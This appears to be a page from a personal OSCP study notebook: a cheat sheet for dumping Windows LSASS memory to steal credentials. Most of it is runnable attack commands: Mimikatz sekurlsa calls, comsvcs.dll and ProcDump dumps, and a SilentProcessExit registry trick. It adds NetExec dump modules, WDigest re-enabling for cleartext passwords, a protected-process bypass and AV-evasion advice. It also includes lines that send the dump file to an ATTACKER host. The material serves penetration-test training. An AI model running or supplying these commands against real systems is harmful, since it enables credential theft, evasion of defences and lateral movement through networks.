Pearson's OSCP Notebook

LSASS

Properties1
tagslsass, credential-dumping, mimikatz, pypykatz, procdump, comsvcs, windows, post-exploitation, lateral-movement, nxc, se-debug

4 min read

LSASS — Credential Dumping Reference

What is LSASS?

LSASS (lsass.exe) is the Windows process that holds logon sessions — NTLM hashes, Kerberos tickets, and sometimes plaintext passwords (if WDigest or older configs allow).

User logs in → LSASS stores creds in memory
            → Mimikatz / dump tools read LSASS
            → Pass-the-Hash / lateral movement

OSCP use: After admin or SYSTEM, dumping LSASS is often the fastest path to more creds. If live Mimikatz triggers AV, dump offline and parse on Kali with pypykatz.

Related: Mimikatz (live commands) · secretsdump (remote SAM/NTDS) · CrackMapExec - nxc (remote modules) · Credential Graph

Requirements

RequirementNotes
Local Administrator or SYSTEMStandard users cannot dump LSASS
SeDebugPrivilegeMimikatz: privilege::debug first
LSA Protection (RunAsPPL)Blocks many dump tools — see § LSA Protection
AV/EDRPrefer offline dump + parse on attacker box

📌 1) Find LSASS PID

tasklist | findstr lsass
tasklist /v | findstr lsass
Get-Process lsass
Get-Process -Name lsass | Select-Object Id, ProcessName, Path
(Get-Process lsass).Id

→ tasklist and Get-Process

📌 2) Live dump — Mimikatz (on target)

Requires admin + privilege::debug. Full Mimikatz reference: Mimikatz

mimikatz.exe
privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::tickets
exit
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

PowerShell in-memory: Invoke-Mimikatz -DumpCreds — see Mimikatz > Invoke-Mimikatz

📌 3) Offline dump — on target (AV evasion)

Dump memory to file → transfer → parse on Kali. Preferred when AV blocks Mimikatz.

Task Manager (GUI)

Task Manager → Details → lsass.exe → Right-click → Create dump file

comsvcs.dll (no extra binary)

REM Get PID first
tasklist | findstr lsass
 
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

ProcDump (Sysinternals — often less flagged)

procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
procdump.exe -accepteula -ma <LSASS_PID> C:\Temp\lsass.dmp

SilentProcessExit (LOLBin — needs admin + reboot/logoff for IFEO)

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /d "C:\Temp\procdump.exe -ma -accepteula %1 C:\Temp\lsass.dmp"

Transfer dump to attacker

Invoke-WebRequest -Uri "http://ATTACKER:8080/" -Method POST -InFile "C:\Temp\lsass.dmp"
certutil -urlcache -split -f C:\Temp\lsass.dmp \\ATTACKER\share\lsass.dmp

→ File Transfer · certutil

📌 4) Parse dump offline (Kali)

pip3 install pypykatz --break-system-packages
pypykatz lsa minidump lsass.dmp

Full reference → pypykatz (flags, registry hives, Kerberos tickets)

REM Mimikatz on Kali / Windows attacker
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Crack NTLM hashes → Hashcat · Lookup → Reference > External resources (hashes.com, CrackStation)

📌 5) Remote dump — NetExec modules (from Kali)

Requires admin (Pwn3d!) on target. Not mimikatz / minikatz — removed from current NetExec.

nxc smb TARGET -u user -p pass -M lsassy
nxc smb TARGET -u user -p pass -M handlekatz
nxc smb TARGET -u user -p pass -M nanodump
nxc smb TARGET -u user -p pass -M masky
nxc smb TARGET -u user -p pass -M procdump
 
# Check module options on your install
nxc smb -M lsassy --options

→ CrackMapExec - nxc > 9) Modules (`-M`)

📌 6) Enable WDigest (cleartext in LSASS)

Windows 8.1+ / Server 2012R2+ disable WDigest by default — no plaintext until re-enabled and user re-logs:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
nxc smb TARGET -u admin -p pass -M wdigest -o ACTION=enable

Takes effect after logout/login or service re-auth.

📌 7) LSA Protection (RunAsPPL)

When enabled, LSASS runs as Protected Process Light — many dump tools fail.

CheckCommand
Credential Guard / PPLnxc smb TARGET -u user -p pass -M runasppl
Mimikatz bypass!+ driver load → !processprotect /process:lsass.exe /remove (needs admin + driver)

Alternative when LSASS is protected: DCSync (never touches LSASS on DC) · secretsdump · SAM/SECURITY hive export — Registry Hives and Linux Equivalents

📌 8) What you get from LSASS

DataUse
NTLM hashesPass-the-Hash — LatMovement
Kerberos ticketsPass-the-Ticket — Rubeus
Plaintext passwordsDirect login / spray
WDigest credsOnly if WDigest enabled

📌 9) Detection & OPSEC

TechniqueOPSEC
Live sekurlsa::logonpasswordsHigh — triggers most AV
Offline dump + pypykatzLower — parse off-box
Remote nxc -M lsassyNetwork auth + known module signatures
DCSync (no LSASS touch)Often preferred on hardened DCs

📌 Quick OSCP Cheat Sheet

REM ─── PID ────────────────────────────────────────────────────
tasklist | findstr lsass
 
REM ─── OFFLINE DUMP (pick one) ────────────────────────────────
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
 
REM ─── LIVE MIMIKATZ ──────────────────────────────────────────
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Kali — parse + remote
pypykatz lsa minidump lsass.dmp
nxc smb TARGET -u user -p pass -M lsassy

Graph View

Backlinks